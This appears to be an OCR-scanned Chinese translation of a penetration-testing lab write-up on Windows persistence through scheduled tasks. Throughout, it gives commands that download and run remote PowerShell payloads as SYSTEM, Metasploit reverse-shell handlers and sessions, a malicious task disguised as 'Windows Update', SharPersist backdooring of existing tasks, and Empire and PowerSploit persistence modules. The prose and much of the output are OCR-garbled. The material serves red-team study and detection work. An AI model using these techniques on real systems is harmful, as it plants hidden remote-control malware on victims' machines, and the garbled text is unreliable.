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use exploit/multi/script/web delivery

set payload windows/x64/meterpreter/reverse tcp
set LHOST 10.0.2.21

set target 5

exploit

AR T, ¢ schtasks 7 o 7o o] P AU RMESS, %4E 5K AEE - Windows & st LA
SYSTEMA I N it hf 73T Power Shell 1) a % 4

schtasks /create /tn PentestlLab /tr
"c:\windows\syswow64\WindowsPowerShell\vl.O\powershell.exe -WindowStyle
hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient) .downloadstring (' 'http://10.0.2.21:8080/ZPWLywg'""))""
/sc onlogon /ru System
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Started reverse TCP handler on 10.0.2.21:4444

Using URL: http://0.0.08.0:8088/ZPWLywg

Local IP: http://127.0.0.1:8080/ZPWLywg

Sserver started.

Run the following command on the target machine:
owershell -nop -w hidden -c $z="echo (%$env:temp+'\PHShc3er.exe')"; (new-obj
ect System.Net.WebClient).DownloadFile('http://10.0.2.21:8088/ZPWLywg', %$z); inv
oke-item %z
nsf5 exploit( ] [#*] Sending stage (206483 bytes) to 16
.0.2.30
[#] Meterpreter session 2 opened (10.8.2.21:4444 -> 10.8.2.30:49671) at 2019-11-
3 16:24:11 -0500

nsfts exploit( ) =
16.0.2.30 web delivery - Delivering Payload (7168) byte
lo.0.2.30 web delivery - Delivering Payload (7168) byte

5
5

nsf5 exploit(
[#*] Starting interaction with 2...

Meterpreter — AP RIES
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#(X64) - On System Start

schtasks /create /tn Pentestlab /tr
"c:\windows\syswow64\WindowsPowerShell\vl.O\powershell.exe -WindowStyle
hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient) .downloadstring (' 'http://10.0.2.21:8080/ZPWLywg"'""))""
/sc onstart /ru System

#(X64) - On User Idle (30mins)

schtasks /create /tn Pentestlab /tr
"c:\windows\syswow64\WindowsPowerShell\vl.O\powershell.exe -WindowStyle
hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient) .downloadstring(''http://10.0.2.21:8080/ZPWLywg'"'"))""
/sc onidle /i 30

#(X86) - On User Login

schtasks /create /tn PentestlLab /tr
"c:\windows\system32\WindowsPowerShell\vl.O\powershell.exe -WindowStyle
hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient) .downloadstring (' 'http://10.0.2.21:8080/ZPWLywg'"'"'))"'"
/sc onlogon /ru System

#(X86) - On System Start

schtasks /create /tn PentestLab /tr
"c:\windows\system32\WindowsPowerShell\vl.0O\powershell.exe -WindowStyle
hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient) .downloadstring (' 'http://10.0.2.21:8080/ZPWLywg'"'"))""




/sc onstart /ru System

#(X86) - On User Idle (30mins)

schtasks /create /tn PentestlLab /tr
"c:\windows\system32\WindowsPowerShell\vl.O\powershell.exe -WindowStyle
hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient) .downloadstring (' 'http://10.0.2.21:8080/ZPWLywg'"'"))""
/sc onidle /i 30

AR EHRPATE R AER @I R & 4, F H AT LR R FR] A MR Thag. “schtasks” ST
feflt 7 BRI, RO E R HIIEER .

schtasks /CREATE /TN "Windows Update" /TR
"c:\windows\syswow64\WindowsPowerShell\vl.O\powershell.exe -WindowStyle
hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient) .downloadstring (' 'http://10.0.2.21:8080/ZPWLywg'"'"'))"'"
/SC minute /MO 1 /ED 04/11/2019 /ET 06:53 /Z /IT /RU $USERNAME$%

/TR "
nop -c '

indows Update" has successfully been cre

C:\Users\pentestlab>
FRELIE —1H IS5 H BRI A]

WA AR TS HAEIC S, WA LAER 2 i Windows S Hfi & AT 55 . D33EAEAh g el [
BN TR . Windows =i {4y 447 52 R 5 0] iy S 41D,

wevtutil ge Security /f:text /c:1 /g:"Event[System[ (EventID=4647)1]]

C:\Windows\system32>wevtutil qe Security /f:text /c:1 /q:"Event[System[(EventID=
HBUTY]]
Event[9]:
Log Name: Security
Source: Microsoft-Wlindows-Security-Auditing
Date: 2019-08-04T18:33:22.466
Event ID: 4647
Task: Logoff
Level: Information
Opcode: Info
Keyword: Audit Success
User: N/A
User Name: N/A
Computer: WIN-INIZM41PH96
Description:
User initiated logoff:

Subject:
Security ID: $-1-5-21-1024610980-4030645003-3786293890-1000
Account Name: panag
Account Domain: WIN-INIZH41PM96
Logon ID: Bx1543e
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schtasks /Create /TN OnLogOff /TR C:\tmp\pentestlab.exe /SC ONEVENT /EC
Security /MO "*[System][ (Level=4 or Level=0) and (EventID=4634)]1]"

C:\Windows\system32>schtasks /Create /TN OnLogOff /TR C:\tmp\pentestlab.exe /SC
ONEVENT /EC Security /MO "x[System[(Level=4 or Level=0) and (EventID=4634%)]]"
SUCCESS: The scheduled task "OnLogOff” has successfully been created.

C:\Windows\system32>_

Fr A =T RIE 55 F 41D
“CEIW T SHOTH TR R BRI S B E R

schtasks /Query /tn OnLogOff /fo List /v

C:\Windows\system32>schtasks /Query /tn OnLogOff /fo List /v

UEGA

\OnLogOff

N/A

Running
Interactive only

11/4/2019 9:04:36 PHM
2147216609
Administrator

C:\tmp\pentestlab.exe
N/A
N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batterie
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loit v5.¢ dev

+ -- --=[ 1912 exploits - 1073 auxiliary - 329 post
-- --=[ 550 payloads - 45 encoders - 1@ nops

+ -- --=[ 3 evasion

msf5 = use exploit/multi/handler
msf5 exploit( ) = set payload windows/x64/meterpreter/reverse tcp
payload => windows/x64/meterpreter/reverse tcp

msf5 exploit( } = set LHOST 10.0.2.21
LHOST == 10.0.2.21
msf5 exploit( } = exploit

L 5 ; to 10.6.2.40
Meterpreter sessic ope (10.0.2.21:4444 -> 10.0.2.40:49158) at 2019-11-
08:03:01 -0500

HRIES1E4S — Meterpreter

s, AILAME i PowerShellGIs HHRIMESs, TXUEAT I 4G 70 M 8 S I sC7ERR 8 I [l F IR T

SA = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c
C:\temp\pentestlab.exe"

ST = New-ScheduledTaskTrigger -AtLogOn -User "pentestlab"

SS = New-ScheduledTaskSettingsSet

SP = New-ScheduledTaskPrincipal "Pentestlab"
SD = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings
$S

Register-ScheduledTask Pentestlab -InputObjec S$D

SA = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c
C:\temp\pentestlab.exe"

ST = New-ScheduledTaskTrigger -Daily -At 9am

$SP = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
SS = New-ScheduledTaskSettingsSet

$D
$S
Register-ScheduledTask PentestlLaboratories -InputObject $D

New-ScheduledTask -Action $SA -Trigger $T -Principal $P -Settings




New-ScheduledTaskAction
New-ScheduledTaskTrigger
New-ScheduledTaskSettingsSet
New-ScheduledTaskPrincipal
New-ScheduledTask
Register-ScheduledTask Pentestlab

TaskName

Pentestlab

New-ScheduledTaskAction
New-ScheduledTaskTrigger
New-ScheduledTaskPrincipal
New-ScheduledTaskSettingsSet
New-ScheduledTask

> Register-ScheduledTask PentestLaboratories

h=BR]
v v n

U o

TaskName

PentestLaborato

Fr A /T4 — PowerShell

SharPersist

githubXii H #bhik: https://github.com/fireeye/SharPersist

Wi TS5 fESharPersistrigsin 7 X THRFANMERI 2 FIIIRE. A0S ) A EE S UM BIRAL, L
T R LA BT RS, S S AEWIndows B St T

SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c
C:\tmp\pentestlab.exe" -n "PentestLab" -m add -o logon

\Window te " "/c C:\tmp\pentestlab. " -n "PentestLab" -m ad|

SUCCESS: Scheduled task

SharPersist —#it&IfT-45 %5
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af://n36
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msf5 exploit( set LHOST 18.08.2.21
LHOST == 10.8.2.21
msf5 exploit( ) = exploit

[#*] Started e TCP handler on 10.0.2.21:4444
[+#] Sending e (206403 bytes) to 10.6.2.30

[#] Meterpret ession 1 opened (10.0.2.21:4444 -> 10.0.2.30:49669) at 2819-11-
03 09:00:37 -0500

meterpreter > [
Meterpreter — SharPersisti|&{f-5%

SharPersisttn] Fj TAI A RFE I THRIES, LLRBIFTAE, AL eI T s,

SharPersist -t schtask -m list -n "PentestLab"

C:\Users>SharPersist -t schtask -m list -n "PentestLab"

[*] INFO: Listing scheduled task details of name that was specified.

[*] INFO: TASK NAME:
PentestLab

[*] INFO: TASK PATH:

\

[*] INFO: TASK OWNER:
BUILTIN\Administrators

[*] INFO: NEXT RUN TIME:
1/1/eeel 12:00:00 mu

[*] INFO: TASK TRIGGER:
Logon

[*¥] INFO: TASK ACTION:
C:\Windows\System32\cmd.exe /c C:\tmp\pentestlab.exe

SharPersist — #1155
B, AU list PRI AN E A FROGHCEE R LT E U RIS

SharPersist -t schtask -m list
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:\Users>SharPersist -t schtask -m list

[*] INFO: Listing all scheduled tasks.

[*] INFO: TASK NAME:
CreateExplorerShellUnelevatedTask

[*] INFO: TASK PATH:

: TASK OWNER:
[*] INFO: NEXT RUN TIME:
1/1/6e01 12:00:00 mu

[*] INFO: TASK TRIGGER:
Registration

[*] INFO: TASK ACTION:
C:\Windows\Explorer.EXE /NOUACCHECK

SharPersist — #1155
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SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c
C:\tmp\pentestlab.exe"™ -n "PentestLab" -m check

s>SharPersist.exe -t schtask -c "C:\Windo st d.exe" "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m ch

*] INFO: C ing if scheduled task already
] ERROR: | duled task with that name alr

SharPersist —#6 #4155

SharPersistifs i] LIMCAS S s K TR BTA T RIS o e & 7T T LA S, JFahE
SE AR AT LME 2 LIa A T AU B AS 2 Q83T 55 I ELA T XI55

SharPersist -t schtaskbackdoor -m list -o logon




C:\Users>SharPersist -t schtaskbackdoor -m list -o logon

[*] INFO: Listing all scheduled tasks available to backdoor.

[*] INFO: TASK NAME:
PentestLab

[*] INFO: TASK PATH:
[*] INFO: TASK OWNER:
BUILTIN\Administrators

[*] INFO: NEXT RUN TIME:
1/1/0001 12:00:00 mu

[*] INFO: TASK TRIGGER:
Logon

* ] INFO: TASK ACTION:
C:\Windows\System32\cmd.exe /c C:\tmp\pentestlab.exe

SharPersist — i & i KI5
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SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a
"/c C:\tmp\pentestlab.exe" -n "PentestLab" -m check

\tmp\pentestlab " -n "PentestLa

hecking if schedule ta
: That scheduled task i

ng for correct arguments given
: Correct arguments given

SharPersist — 4 j5 [ 13+ KIfE5F

“ Add "ZHHR IV HRIES , S BEAS, TIARIT RS A TR T
S

SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a
"/c C:\tmp\pentestlab.exe" -n "ReconcilelLanguageResources" -m add

.exe -t scht

m add




SharPersist — J5[ 1t %i{F4%

Empire
EmpirefR & s QBRI , IX ST T S T RIS IR AR R . UL E A

RV IR03:2264 Pt 5L T PowerShell AU # . AR MBAFAEETM LTI, (T5 2580
WindowsUpdate ”, DU [X 4342091 RIES

usemodule persistence/userland/schtasks
set Listener http

set TaskName WindowsUpdate

set DailyTime 03:22

execute

t Listener http

t DailyTime True

t TaskName WindowsUpdate

t DailyTime ©3:22
xecute

Taﬂked
Agent

turned results.
yeen created.
e in HKCU:\Software\Microsoft\Windows‘Cu
g wlth W1nduw'updat 2
returned by 10.€
Jendlng PDWER&HELL stager (stage lr to 10.0.2
2w agent HLXZ6WBA checked in
Initial agent HLXZ6WBA from 10.0.2.30 now active (Slack)
Sending agent (stage 2) to HLXZ6WBA at 10.0.2.30

Empire — A M THRIE S
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usemodule persistence/elevated/schtasks*
set Listener http

[Empire:
[Empire:

ule powers ||r11 per
ated/scht
has suc ully been crea
rhtaakJ pPrhlftPnre established using listener http stored im HKLM: \ﬁoftware\MlurOboft\Network‘debuq with Updater 0
iLogon trigger.
*] Valid results returned by 10.0

Empire Elevated — $f At iR 55
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SElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -Hourly
SUserOptions = New-UserPersistenceOption -ScheduledTask -Hourly
Add-Persistence -FilePath C:\temp\empire.exe -ElevatedPersistenceOption
SElevatedOptions -UserPersistenceOption $UserOptions

C:stempsPowverSploit> SE tions New—ElevatedPersistenceOption
C:stemp\PouwerSploit> SUs New-UserPersistenceOption

C:\tenp\Pot-.'er§lpllo it> A - - C:stemphempire .exe
> erOptions
C:xntempisPoverSploit> _

PowerSploit — it %if-45
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JA X ) https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/
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